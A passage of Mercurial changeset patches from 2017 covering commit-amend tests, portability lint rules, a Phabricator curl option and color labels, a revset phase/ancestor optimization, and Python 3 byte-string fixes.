changeset are amended. This presents an interesting scenario because the
working copy could have modified versions of the remaining files in the
pre-amend changeset. Therefore, I have added some tests to ensure that amend
behaves as expected in these scenarios.

Test Plan:
Ensured that the test "test-commit-amend.t" passes.

Differential Revision: https://phab.mercurial-scm.org/D596

diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -1174,3 +1174,96 @@
   new mode 100755
   
 #endif
+
+Test amend with file inclusion options
+--------------------------------------
+
+These tests ensure that we are always amending some files that were part of the
+pre-amend commit. We want to test that the remaining files in the pre-amend
+commit were not changed in the amended commit. We do so by performing a diff of
+the amended commit against its parent commit.
+  $ cd ..
+  $ hg init testfileinclusions
+  $ cd testfileinclusions
+  $ echo a > a
+  $ echo b > b
+  $ hg commit -Aqm "Adding a and b"
+
+Only add changes to a particular file
+  $ echo a >> a
+  $ echo b >> b
+  $ hg commit --amend -I a
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,1 @@
+  +b
+
+  $ echo a >> a
+  $ hg commit --amend b
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,2 @@
+  +b
+  +b
+
+Exclude changes to a particular file
+  $ echo b >> b
+  $ hg commit --amend -X a
+  $ hg diff --git -r null -r .
+  diff --git a/a b/a
+  new file mode 100644
+  --- /dev/null
+  +++ b/a
+  @@ -0,0 +1,2 @@
+  +a
+  +a
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,3 @@
+  +b
+  +b
+  +b
+
+Check the addremove flag
+  $ echo c > c
+  $ rm a
+  $ hg commit --amend -A
+  removing a
+  adding c
+  $ hg diff --git -r null -r .
+  diff --git a/b b/b
+  new file mode 100644
+  --- /dev/null
+  +++ b/b
+  @@ -0,0 +1,3 @@
+  +b
+  +b
+  +b
+  diff --git a/c b/c
+  new file mode 100644
+  --- /dev/null
+  +++ b/c
+  @@ -0,0 +1,1 @@
+  +c
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504306052 25200
#      Fri Sep 01 15:47:32 2017 -0700
# Node ID e267d4ee4f2d0d6bf961828ceec5748c385c8ce1
# Parent  6fb5a06b92c62d4ac8c3e6468ddadc8c46c4da1e
check-code: forbid using bash in shebang

Some platforms (ex. FreeBSD) do not have `bash` by default. Therefore it
should not be used in test scripts.

Differential Revision: https://phab.mercurial-scm.org/D609

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -119,7 +119,8 @@
     (r'\[[^\]]+==', '[ foo == bar ] is a bashism, use [ foo = bar ] instead'),
     (r'(^|\|\s*)grep (-\w\s+)*[^|]*[(|]\w',
      "use egrep for extended grep syntax"),
-    (r'/bin/', "don't use explicit paths for tools"),
+    (r'(?<!!)/bin/', "don't use explicit paths for tools"),
+    (r'#!.*/bash', "don't use bash in shebang, use sh"),
     (r'[^\n]\Z', "no trailing newline"),
     (r'export .*=', "don't export and assign at once"),
     (r'^source\b', "don't use 'source', use '.'"),
@@ -159,7 +160,7 @@
 ]
 
 testfilters = [
-    (r"( *)(#([^\n]*\S)?)", repcomment),
+    (r"( *)(#([^!][^\n]*\S)?)", repcomment),
     (r"<<(\S+)((.|\n)*?\n\1)", rephere),
 ]
 
@@ -232,7 +233,7 @@
 
 utestfilters = [
     (r"<<(\S+)((.|\n)*?\n  > \1)", rephere),
-    (r"( +)(#([^\n]*\S)?)", repcomment),
+    (r"( +)(#([^!][^\n]*\S)?)", repcomment),
 ]
 
 pypats = [
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504309470 25200
#      Fri Sep 01 16:44:30 2017 -0700
# Node ID 11499bad035999f0bc83bfb86fb117da20775b80
# Parent  e267d4ee4f2d0d6bf961828ceec5748c385c8ce1
check-code: forbid "\S" in egrep regular expression

BSD `egrep` does not like it. So let's forbid it.

Differential Revision: https://phab.mercurial-scm.org/D610

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -119,6 +119,7 @@
     (r'\[[^\]]+==', '[ foo == bar ] is a bashism, use [ foo = bar ] instead'),
     (r'(^|\|\s*)grep (-\w\s+)*[^|]*[(|]\w',
      "use egrep for extended grep syntax"),
+    (r'(^|\|\s*)e?grep .*\\S', "don't use \\S in regular expression"),
     (r'(?<!!)/bin/', "don't use explicit paths for tools"),
     (r'#!.*/bash', "don't use bash in shebang, use sh"),
     (r'[^\n]\Z', "no trailing newline"),
diff --git a/tests/test-context-metadata.t b/tests/test-context-metadata.t
--- a/tests/test-context-metadata.t
+++ b/tests/test-context-metadata.t
@@ -36,7 +36,7 @@
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     Changed
   
-  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'parents=0' 2>&1 | egrep '^\S*Error'
+  $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'parents=0' 2>&1 | egrep '^RuntimeError'
   RuntimeError: can't reuse the manifest: its p1 doesn't match the new ctx p1
 
   $ hg --config extensions.metaedit=$TESTTMP/metaedit.py metaedit 'user=foo <foo@example.com>'
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1504299613 25200
#      Fri Sep 01 14:00:13 2017 -0700
# Node ID 6c6169f71b8da98bb75f7ccfdffa8a0ba5111c8e
# Parent  11499bad035999f0bc83bfb86fb117da20775b80
wireproto: do not abort after successful lookup

As far as I can tell, this interface originally used 'return' here, so the
"fallthrough" to self._abort made sense. When it was switched to 'yield' this
didn't make sense, but doesn't impact most uses because the 'plain' wrapper in
peer.py's 'batchable' decorator only attempts to yield two items (args and
value).

When using iterbatch, however, it attempts to verify that the @batchable
generators only emit 2 results, by expecting a StopIteration when attempting to
access a third.

Differential Revision: https://phab.mercurial-scm.org/D608

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -235,7 +235,8 @@
         success, data = d[:-1].split(" ", 1)
         if int(success):
             yield bin(data)
-        self._abort(error.RepoError(data))
+        else:
+            self._abort(error.RepoError(data))
 
     @batchable
     def heads(self):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503622823 25200
#      Thu Aug 24 18:00:23 2017 -0700
# Node ID 941c33cfde81eddfef47c09ca07f103d24669895
# Parent  6c6169f71b8da98bb75f7ccfdffa8a0ba5111c8e
phabricator: standardize colors

Previously, the `--confirm` text could have colors but the main `phabsend`
does not. This patch adjusts the main command so it also has colors.
A default color table was added so the colors are visible by default.

Differential Revision: https://phab.mercurial-scm.org/D515

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -59,6 +59,15 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+colortable = {
+    'phabricator.action.created': 'green',
+    'phabricator.action.skipped': 'magenta',
+    'phabricator.action.updated': 'magenta',
+    'phabricator.desc': '',
+    'phabricator.drev': 'bold',
+    'phabricator.node': '',
+}
+
 def urlencodenested(params):
     """like urlencode, but works with nested parameters.
 
@@ -413,9 +422,9 @@
             diffmap[ctx.node()] = diff
             newrevid = int(revision[r'object'][r'id'])
             if revid:
-                action = _('updated')
+                action = 'updated'
             else:
-                action = _('created')
+                action = 'created'
 
             # Create a local tag to note the association, if commit message
             # does not have it already
@@ -428,10 +437,18 @@
             # Nothing changed. But still set "newrevid" so the next revision
             # could depend on this one.
             newrevid = revid
-            action = _('skipped')
+            action = 'skipped'
 
-        ui.write(_('D%s: %s - %s: %s\n') % (newrevid, action, ctx,
-                                            ctx.description().split('\n')[0]))
+        actiondesc = ui.label(
+            {'created': _('created'),
+             'skipped': _('skipped'),
+             'updated': _('updated')}[action],
+            'phabricator.action.%s' % action)
+        drevdesc = ui.label('D%s' % newrevid, 'phabricator.drev')
+        nodedesc = ui.label(bytes(ctx), 'phabricator.node')
+        desc = ui.label(ctx.description().split('\n')[0], 'phabricator.desc')
+        ui.write(_('%s - %s - %s: %s\n') % (drevdesc, actiondesc, nodedesc,
+                                            desc))
         drevids.append(newrevid)
         lastrevid = newrevid
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504293197 25200
#      Fri Sep 01 12:13:17 2017 -0700
# Node ID 8b659b7388c0410ec690cc27bce5e1f5c503c599
# Parent  941c33cfde81eddfef47c09ca07f103d24669895
phabricator: add a config to use curl for communication

Not sure why, but I got `phabsend` hang on work network pretty frequently.
The traceback indicates it hangs at `_sslobj.do_handshake()`:

  File "mercurial/sslutil.py", line 404, in wrapsocket
    sslsocket = sslcontext.wrap_socket(sock, server_hostname=serverhostname)
  File "/usr/lib/python2.7/ssl.py", line 363, in wrap_socket
    _context=self)
  File "/usr/lib/python2.7/ssl.py", line 611, in __init__
    self.do_handshake()
  File "/usr/lib/python2.7/ssl.py", line 840, in do_handshake
    self._sslobj.do_handshake()

I had tried adding `timeout` in various places but they seem not effective.
It seems easier to just allow shelling out to `curl` with retry and timeout
flags.

This could also be helpful for people with an older Python installed without
modern security (SNI).

Differential Revision: https://phab.mercurial-scm.org/D605

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -28,6 +28,11 @@
     # callsign is "FOO".
     callsign = FOO
 
+    # curl command to use. If not set (default), use builtin HTTP library to
+    # communicate. If set, use the specified curl command. This could be useful
+    # if you need to specify advanced options that is not easily supported by
+    # the internal library.
+    curlcmd = curl --connect-timeout 2 --retry 3 --silent
 """
 
 from __future__ import absolute_import
@@ -108,12 +113,20 @@
     """call Conduit API, params is a dict. return json.loads result, or None"""
     host, token = readurltoken(repo)
     url, authinfo = util.url('/'.join([host, 'api', name])).authinfo()
-    urlopener = urlmod.opener(repo.ui, authinfo)
     repo.ui.debug('Conduit Call: %s %s\n' % (url, params))
     params = params.copy()
     params['api.token'] = token
-    request = util.urlreq.request(url, data=urlencodenested(params))
-    body = urlopener.open(request).read()
+    data = urlencodenested(params)
+    curlcmd = repo.ui.config('phabricator', 'curlcmd')
+    if curlcmd:
+        sin, sout = util.popen2('%s -d @- %s' % (curlcmd, util.shellquote(url)))
+        sin.write(data)
+        sin.close()
+        body = sout.read()
+    else:
+        urlopener = urlmod.opener(repo.ui, authinfo)
+        request = util.urlreq.request(url, data=data)
+        body = urlopener.open(request).read()
     repo.ui.debug('Conduit Response: %s\n' % body)
     parsed = json.loads(body)
     if parsed.get(r'error_code'):
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503956940 25200
#      Mon Aug 28 14:49:00 2017 -0700
# Node ID c6c8a52e28c9077580dd2f0552eb2bd6d5e0d13c
# Parent  8b659b7388c0410ec690cc27bce5e1f5c503c599
revset: optimize "draft() & ::x" pattern

The `draft() & ::x` type query could be common for selecting one or more
draft feature branches being worked on.

Before this patch, `::x` may travel through the changelog DAG for a long
distance until it gets a smaller revision number than `min(draft())`. It
could be very slow on long changelog with distant (in terms of revision
numbers) drafts.

This patch adds a fast path for this situation, and will stop traveling the
changelog DAG once `::x` hits a non-draft revision.

The fast path also works for `secret()` and `not public()`.

To measure the performance difference, I used drawdag to create a repo that
emulates distant drafts:

          DRAFT4
           |
          DRAFT3 # draft
          /
  PUBLIC9999 # public
      |
  PUBLIC9998
      |
      .   DRAFT2
      .    |
      .   DRAFT1 # draft
      |   /
  PUBLIC0001 # public

And measured the performance using the repo:

  (BEFORE)
  $ hg perfrevset 'draft() & ::(DRAFT2+DRAFT4)'
  ! wall 0.017132 comb 0.010000 user 0.010000 sys 0.000000 (best of 156)
  $ hg perfrevset 'draft() & ::(all())'
  ! wall 0.024221 comb 0.030000 user 0.030000 sys 0.000000 (best of 113)
  (AFTER)
  $ hg perfrevset 'draft() & ::(DRAFT2+DRAFT4)'
  ! wall 0.000243 comb 0.000000 user 0.000000 sys 0.000000 (best of 9303)
  $ hg perfrevset 'draft() & ::(all())'
  ! wall 0.004319 comb 0.000000 user 0.000000 sys 0.000000 (best of 655)

Differential Revision: https://phab.mercurial-scm.org/D441

diff --git a/mercurial/dagop.py b/mercurial/dagop.py
--- a/mercurial/dagop.py
+++ b/mercurial/dagop.py
@@ -75,27 +75,49 @@
                 if prev != node.nullrev:
                     heapq.heappush(pendingheap, (heapsign * prev, pdepth))
 
-def _genrevancestors(repo, revs, followfirst, startdepth, stopdepth):
+def _genrevancestors(repo, revs, followfirst, startdepth, stopdepth, cutfunc):
     if followfirst:
         cut = 1
     else:
         cut = None
     cl = repo.changelog
-    def pfunc(rev):
+    def plainpfunc(rev):
         try:
             return cl.parentrevs(rev)[:cut]
         except error.WdirUnsupported:
             return (pctx.rev() for pctx in repo[rev].parents()[:cut])
+    if cutfunc is None:
+        pfunc = plainpfunc
+    else:
+        pfunc = lambda rev: [r for r in plainpfunc(rev) if not cutfunc(r)]
+        revs = revs.filter(lambda rev: not cutfunc(rev))
     return _walkrevtree(pfunc, revs, startdepth, stopdepth, reverse=True)
 
-def revancestors(repo, revs, followfirst, startdepth=None, stopdepth=None):
+def revancestors(repo, revs, followfirst=False, startdepth=None,
+                 stopdepth=None, cutfunc=None):
     """Like revlog.ancestors(), but supports additional options, includes
     the given revs themselves, and returns a smartset
 
     Scan ends at the stopdepth (exlusive) if specified. Revisions found
     earlier than the startdepth are omitted.
+
+    If cutfunc is provided, it will be used to cut the traversal of the DAG.
+    When cutfunc(X) returns True, the DAG traversal stops - revision X and
+    X's ancestors in the traversal path will be skipped. This could be an
+    optimization sometimes.
+
+    Note: if Y is an ancestor of X, cutfunc(X) returning True does not
+    necessarily mean Y will also be cut. Usually cutfunc(Y) also wants to
+    return True in this case. For example,
+
+        D     # revancestors(repo, D, cutfunc=lambda rev: rev == B)
+        |\    # will include "A", because the path D -> C -> A was not cut.
+        B C   # If "B" gets cut, "A" might want to be cut too.
+        |/
+        A
     """
-    gen = _genrevancestors(repo, revs, followfirst, startdepth, stopdepth)
+    gen = _genrevancestors(repo, revs, followfirst, startdepth, stopdepth,
+                           cutfunc)
     return generatorset(gen, iterasc=False)
 
 def _genrevdescendants(repo, revs, followfirst):
diff --git a/mercurial/revset.py b/mercurial/revset.py
--- a/mercurial/revset.py
+++ b/mercurial/revset.py
@@ -1577,6 +1577,37 @@
     getargs(x, 0, 0, "_notpublic takes no arguments")
     return _phase(repo, subset, phases.draft, phases.secret)
 
+# for internal use
+@predicate('_phaseandancestors(phasename, set)', safe=True)
+def _phaseandancestors(repo, subset, x):
+    # equivalent to (phasename() & ancestors(set)) but more efficient
+    # phasename could be one of 'draft', 'secret', or '_notpublic'
+    args = getargs(x, 2, 2, "_phaseandancestors requires two arguments")
+    phasename = getsymbol(args[0])
+    s = getset(repo, fullreposet(repo), args[1])
+
+    draft = phases.draft
+    secret = phases.secret
+    phasenamemap = {
+        '_notpublic': draft,
+        'draft': draft, # follow secret's ancestors
+        'secret': secret,
+    }
+    if phasename not in phasenamemap:
+        raise error.ParseError('%r is not a valid phasename' % phasename)
+
+    minimalphase = phasenamemap[phasename]
+    getphase = repo._phasecache.phase
+
+    def cutfunc(rev):
+        return getphase(repo, rev) < minimalphase
+
+    revs = dagop.revancestors(repo, s, cutfunc=cutfunc)
+
+    if phasename == 'draft': # need to remove secret changesets
+        revs = revs.filter(lambda r: getphase(repo, r) == draft)
+    return subset & revs
+
 @predicate('public()', safe=True)
 def public(repo, subset, x):
     """Changeset in public phase."""
diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -369,6 +369,11 @@
         wb, tb = _optimize(x[2], True)
         w = min(wa, wb)
 
+        # (draft/secret/_notpublic() & ::x) have a fast path
+        m = _match('_() & ancestors(_)', ('and', ta, tb))
+        if m and getsymbol(m[1]) in {'draft', 'secret', '_notpublic'}:
+            return w, _build('_phaseandancestors(_, _)', m[1], m[2])
+
         # (::x and not ::y)/(not ::y and ::x) have a fast path
         m = _matchonly(ta, tb) or _matchonly(tb, ta)
         if m:
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -4321,3 +4321,147 @@
 
   $ hg log -r 'successors(B+A)-contentdivergent()-obsolete()' -T '{desc}\n'
   Z
+
+Test `draft() & ::x` optimization
+
+  $ hg init $TESTTMP/repo2
+  $ cd $TESTTMP/repo2
+  $ hg debugdrawdag <<'EOS'
+  >   P5 S1
+  >    |  |
+  > S2 | D3
+  >   \|/
+  >   P4
+  >    |
+  >   P3 D2
+  >    |  |
+  >   P2 D1
+  >    |/
+  >   P1
+  >    |
+  >   P0
+  > EOS
+  $ hg phase --public -r P5
+  $ hg phase --force --secret -r S1+S2
+  $ hg log -G -T '{rev} {desc} {phase}' -r 'sort(all(), topo, topo.firstbranch=P5)'
+  o  8 P5 public
+  |
+  | o  10 S1 secret
+  | |
+  | o  7 D3 draft
+  |/
+  | o  9 S2 secret
+  |/
+  o  6 P4 public
+  |
+  o  5 P3 public
+  |
+  o  3 P2 public
+  |
+  | o  4 D2 draft
+  | |
+  | o  2 D1 draft
+  |/
+  o  1 P1 public
+  |
+  o  0 P0 public
+  
+  $ hg debugrevspec --verify -p analyzed -p optimized 'draft() & ::(((S1+D1+P5)-D3)+S2)'
+  * analyzed:
+  (and
+    (func
+      ('symbol', 'draft')
+      None)
+    (func
+      ('symbol', 'ancestors')
+      (or
+        (list
+          (and
+            (or
+              (list
+                ('symbol', 'S1')
+                ('symbol', 'D1')
+                ('symbol', 'P5')))
+            (not
+              ('symbol', 'D3')))
+          ('symbol', 'S2')))))
+  * optimized:
+  (func
+    ('symbol', '_phaseandancestors')
+    (list
+      ('symbol', 'draft')
+      (or
+        (list
+          (difference
+            (func
+              ('symbol', '_list')
+              ('string', 'S1\x00D1\x00P5'))
+            ('symbol', 'D3'))
+          ('symbol', 'S2')))))
+  $ hg debugrevspec --verify -p analyzed -p optimized 'secret() & ::9'
+  * analyzed:
+  (and
+    (func
+      ('symbol', 'secret')
+      None)
+    (func
+      ('symbol', 'ancestors')
+      ('symbol', '9')))
+  * optimized:
+  (func
+    ('symbol', '_phaseandancestors')
+    (list
+      ('symbol', 'secret')
+      ('symbol', '9')))
+  $ hg debugrevspec --verify -p analyzed -p optimized '7 & ( (not public()) & ::(tag()) )'
+  * analyzed:
+  (and
+    ('symbol', '7')
+    (and
+      (not
+        (func
+          ('symbol', 'public')
+          None))
+      (func
+        ('symbol', 'ancestors')
+        (func
+          ('symbol', 'tag')
+          None))))
+  * optimized:
+  (and
+    ('symbol', '7')
+    (func
+      ('symbol', '_phaseandancestors')
+      (list
+        ('symbol', '_notpublic')
+        (func
+          ('symbol', 'tag')
+          None))))
+  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, 1)'
+  * optimized:
+  (and
+    (func
+      ('symbol', '_notpublic')
+      None)
+    (func
+      ('symbol', 'ancestors')
+      (list
+        (func
+          ('symbol', '_list')
+          ('string', 'S1\x00D2\x00P5'))
+        ('symbol', '1'))))
+  $ hg debugrevspec --verify -p optimized '(not public()) & ancestors(S1+D2+P5, depth=1)'
+  * optimized:
+  (and
+    (func
+      ('symbol', '_notpublic')
+      None)
+    (func
+      ('symbol', 'ancestors')
+      (list
+        (func
+          ('symbol', '_list')
+          ('string', 'S1\x00D2\x00P5'))
+        (keyvalue
+          ('symbol', 'depth')
+          ('symbol', '1')))))
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504422735 -32400
#      Sun Sep 03 16:12:15 2017 +0900
# Node ID 871a58b5f4286eed20b81feaa02cee46fda4fcb9
# Parent  c6c8a52e28c9077580dd2f0552eb2bd6d5e0d13c
py3: fix type of regex literals in patch.py

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -205,10 +205,11 @@
 
     # attempt to detect the start of a patch
     # (this heuristic is borrowed from quilt)
-    diffre = re.compile(r'^(?:Index:[ \t]|diff[ \t]|RCS file: |'
-                        r'retrieving revision [0-9]+(\.[0-9]+)*$|'
-                        r'---[ \t].*?^\+\+\+[ \t]|'
-                        r'\*\*\*[ \t].*?^---[ \t])', re.MULTILINE|re.DOTALL)
+    diffre = re.compile(br'^(?:Index:[ \t]|diff[ \t]|RCS file: |'
+                        br'retrieving revision [0-9]+(\.[0-9]+)*$|'
+                        br'---[ \t].*?^\+\+\+[ \t]|'
+                        br'\*\*\*[ \t].*?^---[ \t])',
+                        re.MULTILINE | re.DOTALL)
 
     data = {}
     fd, tmpname = tempfile.mkstemp(prefix='hg-patch-')
@@ -230,7 +231,7 @@
                 pend = subject.find(']')
                 if pend >= 0:
                     subject = subject[pend + 1:].lstrip()
-            subject = re.sub(r'\n[ \t]+', ' ', subject)
+            subject = re.sub(br'\n[ \t]+', ' ', subject)
             ui.debug('Subject: %s\n' % subject)
         if data['user']:
             ui.debug('From: %s\n' % data['user'])
@@ -1760,7 +1761,7 @@
     - ('hunk',    [hunk_lines])
     - ('range',   (-start,len, +start,len, proc))
     """
-    lines_re = re.compile(r'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
+    lines_re = re.compile(br'@@ -(\d+),(\d+) \+(\d+),(\d+) @@\s*(.*)')
     lr = linereader(fp)
 
     def scanwhile(first, p):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504423160 -32400
#      Sun Sep 03 16:19:20 2017 +0900
# Node ID 8b8b70cb4288a40119d0268d9283d6bd1df3b469
# Parent  871a58b5f4286eed20b81feaa02cee46fda4fcb9
py3: replace bytes[n] with bytes[n:n + 1] in patch.py where needed

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -1693,7 +1693,7 @@
                              (count, strip, path))
         i += 1
         # consume '//' in the path
-        while i < pathlen - 1 and path[i] == '/':
+        while i < pathlen - 1 and path[i:i + 1] == '/':
             i += 1
         count -= 1
     return path[:i].lstrip(), prefix + path[i:].rstrip()
@@ -1788,7 +1788,7 @@
             else:
                 lr.push(fromfile)
             yield 'file', header
-        elif line[0] == ' ':
+        elif line[0:1] == ' ':
             yield 'context', scanwhile(line, lambda l: l[0] in ' \\')
         elif line[0] in '-+':
             yield 'hunk', scanwhile(line, lambda l: l[0] in '-+\\')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504418483 -32400
#      Sun Sep 03 15:01:23 2017 +0900
# Node ID 6d21737c35bfa5b008aff546fe71671f494369b5
# Parent  8b8b70cb4288a40119d0268d9283d6bd1df3b469
py3: fix type of regex literals in subrepo.py

diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -134,7 +134,7 @@
             # However, we still want to allow back references to go
             # through unharmed, so we turn r'\\1' into r'\1'. Again,
             # extra escapes are needed because re.sub string decodes.
-            repl = re.sub(r'\\\\([0-9]+)', r'\\\1', repl)
+            repl = re.sub(br'\\\\([0-9]+)', br'\\\1', repl)
             try:
                 src = re.sub(pattern, repl, src, 1)
             except re.error as e:
@@ -1154,7 +1154,7 @@
     @propertycache
     def _svnversion(self):
         output, err = self._svncommand(['--version', '--quiet'], filename=None)
-        m = re.search(r'^(\d+)\.(\d+)', output)
+        m = re.search(br'^(\d+)\.(\d+)', output)
         if not m:
             raise error.Abort(_('cannot retrieve svn tool version'))
         return (int(m.group(1)), int(m.group(2)))
@@ -1373,11 +1373,11 @@
 
     @staticmethod
     def _gitversion(out):
-        m = re.search(r'^git version (\d+)\.(\d+)\.(\d+)', out)
+        m = re.search(br'^git version (\d+)\.(\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
 
-        m = re.search(r'^git version (\d+)\.(\d+)', out)
+        m = re.search(br'^git version (\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), 0)
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504425803 -32400
#      Sun Sep 03 17:03:23 2017 +0900
# Node ID e18119b1ad5d873a98c201639481401934b2e084
# Parent  6d21737c35bfa5b008aff546fe71671f494369b5
py3: fix mixed bytes/unicode in revsetlang._aliassyminitletters

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -473,7 +473,7 @@
 
 # the set of valid characters for the initial letter of symbols in
 # alias declarations and definitions
-_aliassyminitletters = _syminitletters | set(pycompat.sysstr('$'))
+_aliassyminitletters = _syminitletters | {'$'}
 
 def _parsewith(spec, lookup=None, syminitletters=None):
     """Generate a parse tree of given spec with given tokenizing options
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504426493 -32400
#      Sun Sep 03 17:14:53 2017 +0900
# Node ID 01c9700fbf9fcaef5932a5bf890714da7d5a9b4c
# Parent  e18119b1ad5d873a98c201639481401934b2e084
py3: fix type of attribute name in smartset.py

diff --git a/mercurial/smartset.py b/mercurial/smartset.py
--- a/mercurial/smartset.py
+++ b/mercurial/smartset.py
@@ -357,7 +357,7 @@
 
     def _fastsetop(self, other, op):
         # try to use native set operations as fast paths
-        if (type(other) is baseset and '_set' in other.__dict__ and '_set' in
+        if (type(other) is baseset and r'_set' in other.__dict__ and r'_set' in
             self.__dict__ and self._ascending is not None):
             s = baseset(data=getattr(self._set, op)(other._set),
                         istopo=self._istopo)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504427837 -32400
#      Sun Sep 03 17:37:17 2017 +0900
# Node ID f55769e41803ee222501e5caf1e31d65bc0c8cbe
# Parent  01c9700fbf9fcaef5932a5bf890714da7d5a9b4c
py3: use bytes[n:n + 1] to get bytes in templater._parsetemplate()

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -169,7 +169,7 @@
             parsed.append(('string', parser.unescapestr(tmpl[pos:stop])))
             pos = stop
             break
-        c = tmpl[n]
+        c = tmpl[n:n + 1]
         bs = (n - pos) - len(tmpl[pos:n].rstrip('\\'))
         if bs % 2 == 1:
             # escaped (e.g. '\{', '\\\{', but not '\\{')
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504428683 -32400
#      Sun Sep 03 17:51:23 2017 +0900
# Node ID 30535fe47e78dc042d835cef96dc57d4af50ec99
# Parent  f55769e41803ee222501e5caf1e31d65bc0c8cbe
py3: fix repr(util.url) to return system string

This is required on Python 3.

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2804,6 +2804,7 @@
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
+    @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504441045 -32400
#      Sun Sep 03 21:17:25 2017 +0900
# Node ID 7bbc4e113e5f635bc2d4f993a62e6b463bbc338d
# Parent  30535fe47e78dc042d835cef96dc57d4af50ec99
parser: stabilize output of prettyformat() by using byte-safe repr()

The format of leaf nodes is slightly changed so they look more similar to
internal nodes.

diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -20,6 +20,7 @@
 
 from .i18n import _
 from . import (
+    encoding,
     error,
     util,
 )
@@ -193,9 +194,17 @@
         # mangle Python's exception into our format
         raise error.ParseError(str(e).lower())
 
+def _brepr(obj):
+    if isinstance(obj, bytes):
+        return b"'%s'" % util.escapestr(obj)
+    return encoding.strtolocal(repr(obj))
+
 def _prettyformat(tree, leafnodes, level, lines):
-    if not isinstance(tree, tuple) or tree[0] in leafnodes:
-        lines.append((level, str(tree)))
+    if not isinstance(tree, tuple):
+        lines.append((level, _brepr(tree)))
+    elif tree[0] in leafnodes:
+        rs = map(_brepr, tree[1:])
+        lines.append((level, '(%s %s)' % (tree[0], ' '.join(rs))))
     else:
         lines.append((level, '(%s' % tree[0]))
         for s in tree[1:]:
@@ -219,9 +228,9 @@
     ...       ('symbol', '2')),
     ...     ('symbol', '3')))
     (or
-      ('symbol', '1')
-      ('symbol', '2')
-      ('symbol', '3'))
+      (symbol '1')
+      (symbol '2')
+      (symbol '3'))
     >>> f(('func',
     ...     ('symbol', 'p1'),
     ...     ('or',
@@ -246,25 +255,25 @@
     ...               ('symbol', '7'))))),
     ...       ('symbol', '8'))))
     (func
-      ('symbol', 'p1')
+      (symbol 'p1')
       (or
         (func
-          ('symbol', 'sort')
+          (symbol 'sort')
           (list
             (or
-              ('symbol', '1')
-              ('symbol', '2')
-              ('symbol', '3'))
+              (symbol '1')
+              (symbol '2')
+              (symbol '3'))
             (negate
-              ('symbol', 'rev'))))
+              (symbol 'rev'))))
         (and
-          ('symbol', '4')
+          (symbol '4')
           (group
             (or
-              ('symbol', '5')
-              ('symbol', '6')
-              ('symbol', '7'))))
-        ('symbol', '8')))
+              (symbol '5')
+              (symbol '6')
+              (symbol '7'))))
+        (symbol '8')))
     """
     if not isinstance(tree, tuple):
         return tree
@@ -561,8 +570,8 @@
